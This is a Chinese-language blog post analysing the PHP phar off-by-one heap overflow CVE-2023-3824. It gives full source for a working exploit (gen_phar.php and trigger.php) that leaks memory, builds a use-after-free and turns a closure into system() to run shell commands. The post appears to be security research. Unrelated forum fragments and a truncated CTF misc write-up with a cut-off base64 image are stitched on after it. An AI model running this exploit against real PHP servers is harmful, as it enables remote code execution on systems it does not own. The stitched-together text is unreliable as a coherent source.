前天看见了一个新闻[1], 英国国家打击犯罪局(NCA)、美国联邦调查局(FBI)、欧洲刑警组织等执法部门宣称联合捣毁了世界上最大的网络犯罪集团LockBit. 这里面提到了这些执法机构利用了一个PHP漏洞 (CVE-2023-3824) , 这引起了我的兴趣. 为啥执法机构会暴露这些细节呢? 查了一下, 原来是该犯罪团伙负责人自己说的, 他也只怪自己没有及时地更新PHP .
简略分析简单搜索了一下, 没有找到关于它的利用方式, 那只能咱亲自冻手了. 首先发现PHP官方Repo已经收录了这个安全问题[2], PHP官方对此评价为"Exploiting this is difficult to do".
其问题出现在函数phar_dir_read at ext/phar/dirstream.c. 关于这个函数写的怎么样, 咱只能说一言难尽.
static ssize_t phar_dir_read(php_stream *stream, char *buf, size_t count) /* {{{ */ { size_t to_read; HashTable *data = (HashTable *)stream->abstract; zend_string *str_key; zend_ulong unused; if (HASH_KEY_NON_EXISTENT == zend_hash_get_current_key(data, &str_key, &unused)) { return 0; } zend_hash_move_forward(data); to_read = MIN(ZSTR_LEN(str_key), count); if (to_read == 0 || count < ZSTR_LEN(str_key)) { return 0; } memset(buf, 0, sizeof(php_stream_dirent)); memcpy(((php_stream_dirent *) buf)->d_name, ZSTR_VAL(str_key), to_read); ((php_stream_dirent *) buf)->d_name[to_read + 1] = '\0'; return sizeof(php_stream_dirent); }这个函数用于phar://协议下读取文件夹中的内容. 这段代码出现的一些问题:
- 后面的memset已经假设了buf的大小是sizeof(php_stream_dirent). 因此函数开头理因有一个关于它的检查, 却没有看见. 然而这个问题在这里其实不大, 因为在PHP中所有引用这个函数的地方, 传入的count和sizeof(php_stream_dirent) 都是保持一致的. 当然这样的做法依然是不对的, 因为需要考虑PHP第三方库对其的使用规范.
- 注意这里我们只考虑Linux的下利用情况, 全篇亦是如此. 在Linux下sizeof(php_stream_dirent)为4096. 当文件夹中存在一个文件名长度为4096的文件时, 在第13行这里即有to_read == 4096, 从而第14行这里的判断顺利通过了 (i.e., count == ZSTR_LEN(str_key) == 4096). 考虑第21行这里的结尾NULL字符写入, 我们知道传入的buffer大小为4096, 再往后写就肯定overflow了. 有趣是它写NULL的位置也错了, 应该在d_name[to_read]写NULL, 而不是to_read + 1. 这样就给我们带来在buf + 4097处写零的机会.
经典的Off-by-one, 这让我想到了著名的CVE-2019-11043[4], 值得一试.
找利用点根据buf所处的位置, 可以营造stack overflow和heap overflow, 进而有两种不同的利用方式. 根据常识利用Off-by-one关键是memory layout. 简要搜索一下, 有几个地方可以操作上述函数:
-
buf在stack上:
- openddir + readdir
- scandir
- libmagic 中的 apprentice_load
-
buf在heap上:
- FilesystemIterator
- DirectoryIterator
- SplFileInfo
- SplFileObject
因为绕不过canary, 所以直接将stack overflow排除了, 只剩下了heap overflow.
Heap overflow上述4个类都是PHP标准库中操作文件夹的相关设施, 位于ext/spl/spl_directory.c. 它们底层都涉及一个比较关键的结构_spl_filesystem_object如下, 我略去了该结构中不太重要的字段.
struct _spl_filesystem_object { // ... union { struct { php_stream *dirp; php_stream_dirent entry; // overflow here char *sub_path; size_t sub_path_len; // ... } dir; // ... } u; // ... };其中_spl_filesystem_object.u.dir.entry就是上述4个类在操作文件夹时buf所处的位置. 可以看到其后面紧跟着一个sub_path字段, 配合sub_path_len, 不难看出这里是一个binary-safe string结构. 试想如果利用overflow把sub_path某个字节覆写掉, 肯定可以带来一些新的契机. 这也是文章标题称之为《幸运的Off-by-one》.
Spl_filesystem_object is the key这里我们首先需要知道一些关于spl_filesystem_object.u.dir.entry和spl_filesystem_object.u.dir.sub_path的操作.
**更新 u.dir.entry **: 由这个函数可以触发overflow. 通过检查引用这个函数的地方, 看起来我们只需要拨动相关的Iterator即可触发这个函数.
// ext/spl/spl_directory.c: 236 static int spl_filesystem_dir_read(spl_filesystem_object *intern) /* {{{ */ { if (!intern->u.dir.dirp || !php_stream_readdir(intern->u.dir.dirp, &intern->u.dir.entry)) { intern->u.dir.entry.d_name[0] = '\0'; return 0; } else { return 1; } }读取 u.dir.sub_path : 通过调用RecursiveDirectoryIterator->getSubPath即可
// ext/spl/spl_directory.c: 1530 PHP_METHOD(RecursiveDirectoryIterator, getSubPath) { spl_filesystem_object *intern = Z_SPLFILESYSTEM_P(ZEND_THIS); if (zend_parse_parameters_none() == FAILURE) { RETURN_THROWS(); } if (intern->u.dir.sub_path) { RETURN_STRINGL(intern->u.dir.sub_path, intern->u.dir.sub_path_len); } else { RETURN_EMPTY_STRING(); } }写入 u.dir.sub_path: 通过调用RecursiveDirectoryIterator->getChildren即可
// ext/spl/spl_directory.c: 1494 PHP_METHOD(RecursiveDirectoryIterator, getChildren) { // ... if (subdir) { // 如果current directory也存在sub_path, 那么children的sub_path应为 parent_sub_path + parent_directory_name if (intern->u.dir.sub_path && intern->u.dir.sub_path[0]) { subdir->u.dir.sub_path_len = spprintf(&subdir->u.dir.sub_path, 0, "%s%c%s", intern->u.dir.sub_path, slash, intern->u.dir.entry.d_name); } else { // 反之, 此时children的sub_path应为parent_directory_name subdir->u.dir.sub_path_len = strlen(intern->u.dir.entry.d_name); subdir->u.dir.sub_path = estrndup(intern->u.dir.entry.d_name, subdir->u.dir.sub_path_len); } subdir->info_class = intern->info_class; subdir->file_class = intern->file_class; subdir->oth = intern->oth; } }释放 u.dir.sub_path: 通过调用unset($obj)即可.
// static void spl_filesystem_object_free_storage(zend_object *object) /* {{{ */ { ... case SPL_FS_DIR: if (intern->u.dir.sub_path) { efree(intern->u.dir.sub_path); } break; ... } conditional read 和 conditional write 原语这里我们没有任意读/写两个原语, 只有有条件的读/写.
conditional read
- 在heap上放置大量需要需要读取的内存结构, 比如zend_closure. 让其中一些刚好落在拥有形如00xx前缀的地址上.
- 正常初始化sub_path, 控制好其大小, 落在可控内存结构的附近.
- 然后触发overflow, 将sub_path的第2个字节写NULL.
- 调用RecursiveDirectoryIterator0->getSubPath, 读取相关结构.
conditional write (UAF)
- 在heap上放置大量的可控的内存结构, 比如zend_string. 让其中一些刚好落在拥有形如00xx前缀的地址上.
- 正常初始化sub_path, 控制好其大小, 落在可控内存结构的附近.
- 然后触发overflow, 将sub_path的第2个字节写NULL, 此时sub_path指向我们可控的内存结构.
- 构造UAF: 释放掉对应的iterator (unset($obj)).
- 在刚释放的内存上创建所需结构, 利用第一步中可控结构读写它.
举个例子, 在conditional read中, 如果sub_path指向形如0xdeadbeef的地址, 那么我们只能读0xdead00ef处的内容. 意味着需要读取的内存结构需要落在它的附近. 这里有两个难点:
-
如何让需要被写入或者被读入的内存结构落在拥有形如00xx前缀的地址上?
-
如何使得被改写的sub_path刚好指向拥有00xx前缀的地址上 ?
在处理这两个问题之前, 我们需要熟悉一下PHP的内存管理.
- PHP采用了memory slots的手法, 即针对小内存 (8 - 3072 bytes), 它会在连续的页上按大小划分slots. 举个例子, 对于8 bytes内存, PHP会拿出1个page (4096 bytes) 出来, 将其划分为512个bins供给小于或者等于8 bytes的内存申请. 而对于320 bytes内存, PHP会拿出5个pages出来, 再上面划分64个bins供给 256< x <=320的内存申请. 小内存的回收采用是经典地free_lists.
- PHP使用memory chunk (跟arena是有些相似的)来作为小内存的操作对象. 一个memory chunk默认大小为2M (0x200000), PHP在其上根据需求来划分不用小内存区域. 当一个memory chunk使用完了之后, PHP会申请新的chunk. 用链表将这些chunks连接起来.
增强 conditional read
对于第一个问题, 我们可以在heap上放置大量连续的相关内存结构, 这依赖于PHP独特的内存管理. 例如在conditional read中, 我们需要读取zend_closure中的closure_handlders值, 其中sizeof(zend_closure) == 320. 如果我们考虑用它将一个memory chunk填满, 可以利用的相关地址前置有.
<?php $a = 320; for (;$a < 0x200000; $a += 320) { if ((($a >> 8) & 0xff) == 0) { echo dechex($a)."\n"; } } /* 10040,20080,300c0,50000,60040,70080,800c0,a0000,b0040,c0080,d00c0,f0000,100040,110080,1200c0,140000,150040,160080,1700c0,190000,1a0040,1b0080,1c00c0,1e0000,1f0040 */如果0x10040可控, 那么0x10040和0x20080之间就有51个bins可以用.
<?php $a = 0x10040; $i = 0; while ($a < 0x20080) { $a += 320; if (($a & 0xff) == 0x40) { echo dechex($a)."\n"; $i++; } $j++; } echo $i;换言之只要让sub_path指向到这51中的其中一个就可以了. 其中0x10040和0x20080之间有205这样的bins, 这样我们有1/4的概率让sub_path指向正确的地方. 再换言之, 我们平均只需要尝试4次, 就可以做到, 事实也是如此. 这也是解决第二问题的方法.
所以比较在意是拿到形如10040, 20080, 300c0... 这其中的一个. 比较好的想法是我们最好的新的chunk上进行操作, 这样避免了之前memory layout对我们的影响. 那最好的想法就是连续申请超过一个chunk的相关内存结构. 这样我们总可以落在新的chunk上, 并且是一定大概率覆盖上述地址. 比如这里我们需要申请超过0x1999个zend_closure个, 在利用中我使用了2024 (毕竟今年是2024 嘿嘿).
增强 conditional write
对于第一个问题, 我们同样在heap上放置大量我们可控的内存结构. 而对于第二个问题, 我们同样进行多次尝试. 这里有一个特别的是, 第二个问题解决方案中的多次尝试是确定性的. 因为heap上的内存结构我们可控, 使得我们可以在指定的位置上放置特定的内容来帮助我们判定sub_path有没有指向正确的位置. 比如我们希望sub_path正好落在地址0x10040上, 其中0x10040是我们可控的. 我们可以在0x10040处写入指定的字符串, 在进行UAF之前, 我们通过读取sub_path的内容, 来确保sub_path是指向正确的.
利用细节大致路线:
- 通过conditional read泄露system函数地址.
- 通过conditional write将用户闭包函数修改为native函数system
构造恶意的phar
其中phar文件结构如下, 命名为m2.phar.
├── CCCCCCC...CCC├ ├── AAAA...AAA ├── BBBBBB...BBBBB- CCCCCCC...CCC文件夹长度为329 , 因为zend_closure是我们后面需要的重要结构, 它的大小为320. 考虑结尾的NULL字符.
- AAAA...AAA 正常文件和文件名. RecursiveDirectoryIterator->__construct会读取第一个文件作为预备, 我不希望在这一步发生overflow.
- BBBBBB...BBBBB文件名长度为4096
触发overflow
我们通过以下代码来触发overflow
$it = new RecursiveDirectoryIterator("phar://./m2.phar"); // 定位到`CCCCCCC...CCC`文件夹 foreach ($it as $file) { if($file->isDir()) { break; } } // 创建关于`CCCCCCC...CCC`的RecursiveDirectoryIterator, 其sub_path被初始化为`CCCCCCC...CCC`, 长度为320. $sub_it = $it->getChildren(); // 读取`CCCCCCC...CCC`中文件, 读取到`BBBBBB...BBBBB`时, 触发overflow, 将sub_path第2个字节写NULL. foreach($sub_it as $file) {}泄露system函数地址
这里我们还是老手法, 利用zend_closure.std.zend_object_handlers 位于(Zend/zend_closures.c: 36) 来泄露closure_handlers (位于 Zend/zend_closures.c:46) 的地址.
其中zend_closure通过创建闭包函数来生成, 即我们通过生成大量的闭包函数来填充heap.
$f_arr = []; for ($i = 0; $i < 0x2024; $i++) { $f_arr[$i] = function(){}; }然后我们不断修改sub_path让其正好落在我们的申请某个zend_closure开头, 平均4次即可.
while (1) { $it = create_RDI(); $sub_it = $it->getChildren(); // preserve every iterator to avoid double freeing on sub_path $it_arr[] = $sub_it; // trigger overflow foreach($sub_it as $file) {} $data = $sub_it->getSubPath(); // refcounted && is_object, zend_closure本身也是一个zend_object, 其鉴别方式为首8字节为0x800000001 if (read64($data, 0) == 0x800000001) { $closure_handlers = read64($data, 0x18); break; } }拿到了closure_handlers加上相关偏移地址, 我们就可以拿到zif_system的地址.
修改闭包函数
首先我们需要在heap上布置可控的内存结构
$str_arr = []; for ($i = 0; $i < 0x2024; $i++) { $str_arr[$i] = str_repeat('E', 0x140 - 0x20); // 作为sub_path是否指向正确位置的unique identifier. $str_arr[$i][0] = "I"; $str_arr[$i][1] = "L"; $str_arr[$i][2] = "I"; $str_arr[$i][3] = "K"; $str_arr[$i][4] = "E"; $str_arr[$i][5] = "P"; $str_arr[$i][6] = "H"; $str_arr[$i][7] = "P"; }依然是不断修改sub_path让其正好落在我们的申请某个zend_string开头,
while (1) { // init sub_path $it = create_RDI(); $sub_it = $it->getChildren(); // trigger overflow foreach($sub_it as $file) {} $data = $sub_it->getSubPath(); if (substr($data, 0x18, 8) == "ILIKEPHP") { // trigger UAF unset($sub_it); $f = function(){}; break; } else { // prevent double freeing $it_arr[] = $sub_it; } }然后修改我们可控的zend_string结构, 达到修改闭包函数的任务
for ($i = 0; $i < 0x2024; $i++) { // 1. function type: internal function // zend_closure.function.internal_function.type = 0x38 // zend_string_header = 0x18 write8($str_arr[$i], 0x38 - 0x18, 0); // 2. function handler: zif_system // zend_closure.function.internal_function.handler = 0x70 // zend_string_header = 0x18 write64($str_arr[$i], 0x70 - 0x18, $zif_system); } 完整的Exploitation位于[3].
PHP版本commit: be71cadc2f899bc39fe27098042139392e2187db
编译选项: ./configure --disable-all --enable-phar
gen_phar.php
<?php if (file_exists("m2.phar")) { unlink("m2.phar"); } $phar = new Phar('m2.phar'); // size of target UAF bin is the size of zend_closure $dir_name = str_repeat('C', 0x140 - 0x1); $file_4096 = str_repeat('A', PHP_MAXPATHLEN - 1).'B'; // create an empty directory $phar->addEmptyDir($dir_name); // create normal one $phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', 32), 'This is the content of the file.'); // trigger overflow $phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');trigger.php
<?php // zif_system_offset - closure_handlers_offset $zif_system_offset = -0x8a1390; $it_arr = array(); $zif_system = leak_zif_system_addr(); echo "[*] zif_system address: 0x". dechex($zif_system). "\n"; trigger_UAF($zif_system); function create_RDI() { $it = new RecursiveDirectoryIterator("phar://./m2.phar"); // find the first directory foreach ($it as $file) { // echo $file . "\n"; if($file->isDir()) { break; } } return $it; } function leak_zif_system_addr() { global $zif_system_offset; global $it_arr; // fill memory chunk with lots of zend_closures; $f_arr = []; for ($i = 0; $i < 0x2024; $i++) { $f_arr[$i] = function(){}; } // find zend_closure $closure_handlers = 0; while (1) { $it = create_RDI(); $sub_it = $it->getChildren(); // preserve every iterator to avoid double freeing on sub_path $it_arr[] = $sub_it; // trigger overflow foreach($sub_it as $file) {} $data = $sub_it->getSubPath(); // refcounted && is_object if (read64($data, 0) == 0x800000001) { $closure_handlers = read64($data, 0x18); break; } } if ($closure_handlers == 0) { exit("bad closure handlers\n"); } return $closure_handlers + $zif_system_offset; } function trigger_UAF($zif_system) { global $it_arr; // fill memory chunk with lots of 0x140-size strings, // ensure address of some strings that are exactly starting with prefix 0040 or 0080. $str_arr = []; for ($i = 0; $i < 0x2024; $i++) { $str_arr[$i] = str_repeat('E', 0x140 - 0x20); $str_arr[$i][0] = "I"; $str_arr[$i][1] = "L"; $str_arr[$i][2] = "I"; $str_arr[$i][3] = "K"; $str_arr[$i][4] = "E"; $str_arr[$i][5] = "P"; $str_arr[$i][6] = "H"; $str_arr[$i][7] = "P"; } $f = NULL; while (1) { // init sub_path $it = create_RDI(); $sub_it = $it->getChildren(); // trigger overflow foreach($sub_it as $file) {} $data = $sub_it->getSubPath(); if (substr($data, 0x18, 8) == "ILIKEPHP") { // trigger UAF unset($sub_it); $f = function(){}; break; } else { // prevent double freeing $it_arr[] = $sub_it; } } // modify closure // 1. function type: internal function // 2. function handler: zif_system for ($i = 0; $i < 0x2024; $i++) { // 1. function type: internal function // zend_closure.function.internal_function.type = 0x38 // zend_string_header = 0x18 write8($str_arr[$i], 0x38 - 0x18, 0); // 2. function handler: zif_system // zend_closure.function.internal_function.handler = 0x70 // zend_string_header = 0x18 write64($str_arr[$i], 0x70 - 0x18, $zif_system); } $f('uname -an'); } function read64($str, $p) { $v = 0; $v |= ord($str[$p + 0]); $v |= ord($str[$p + 1]) << 8; $v |= ord($str[$p + 2]) << 16; $v |= ord($str[$p + 3]) << 24; $v |= ord($str[$p + 4]) << 32; $v |= ord($str[$p + 5]) << 40; $v |= ord($str[$p + 6]) << 48; $v |= ord($str[$p + 7]) << 56; return $v; } function write8(&$str, $p, $v){ $str[$p] = chr($v & 0xff); } function write64(&$str, $p, $v) { $str[$p + 0] = chr($v & 0xff); $v >>= 8; $str[$p + 1] = chr($v & 0xff); $v >>= 8; $str[$p + 2] = chr($v & 0xff); $v >>= 8; $str[$p + 3] = chr($v & 0xff); $v >>= 8; $str[$p + 4] = chr($v & 0xff); $v >>= 8; $str[$p + 5] = chr($v & 0xff); $v >>= 8; $str[$p + 6] = chr($v & 0xff); $v >>= 8; $str[$p + 7] = chr($v & 0xff); } 引用- 《挑衅执法机构,LockBit黑客犯罪团伙死灰复燃》, https://mp.weixin.qq.com/s/sLC_zuW0Wyk91i7aITbygA
- PHP official report, Buffer overflow and overread in phar_dir_read() · Advisory · php/php-src · GitHub
- 完整exploitation repo, php-exploit/CVE-2023-3824 at master · m4p1e/php-exploit · GitHub
- 拥抱php之CVE-2019-11043, 拥抱php之CVE-2019-11043 | maplgebra
1 个帖子 - 1 位参与者
平台有账号注销功能吗?
PolarD&N靶场
1、0和255
首先给出了两个文件image_list.txt和image_list.py
python文件代码
它将一个flag图片按像素读取,范围0-255,生成列表,即image_list.txt。
exp很简单,就将list中的值按像素点填回去,得到png文件,点击得到二维码
扫描二维码得到Polar_Night
根据题目要求再将其进行md5加密(有大写和小写两种),套上flag测试
2、01
与第一题类似,给出了一个flag.zip但是加密了,要密码,在hint提示中给出了25*25的01矩阵,想到把1看做0,把0看做255(这个想法是试用了1看做255,0看做0后失败了,所以反过来试一试),套用上一题的exp代码,得到二维码图片
扫描得到p@ssw0rd!
输入得到一个txt文件,里面是喵言喵语,第一感觉是西电2023招新赛的喵言喵语,但是发现不止2种形式,所以试一试兽语加密解密,得到flag
3、100RGB
题目内容由一行行Emoji表情 组成。
Emoji解密得到:
82,71,66102,108,97103,123,65110,49,10997,49,11532,95,97114,51,9599,117,43101,125,0
根据ASCII码可得到真实的ASCII码。
82 71 66 102 108 97 103 123 65 110 49 109 97 49 115 32 95 97 114 51 95 99 117 43 101 125
把RGB去掉,得到flag
4. 二维码
下载拿到png文件,不能打开,用010打开得到了
data:image/png;base64,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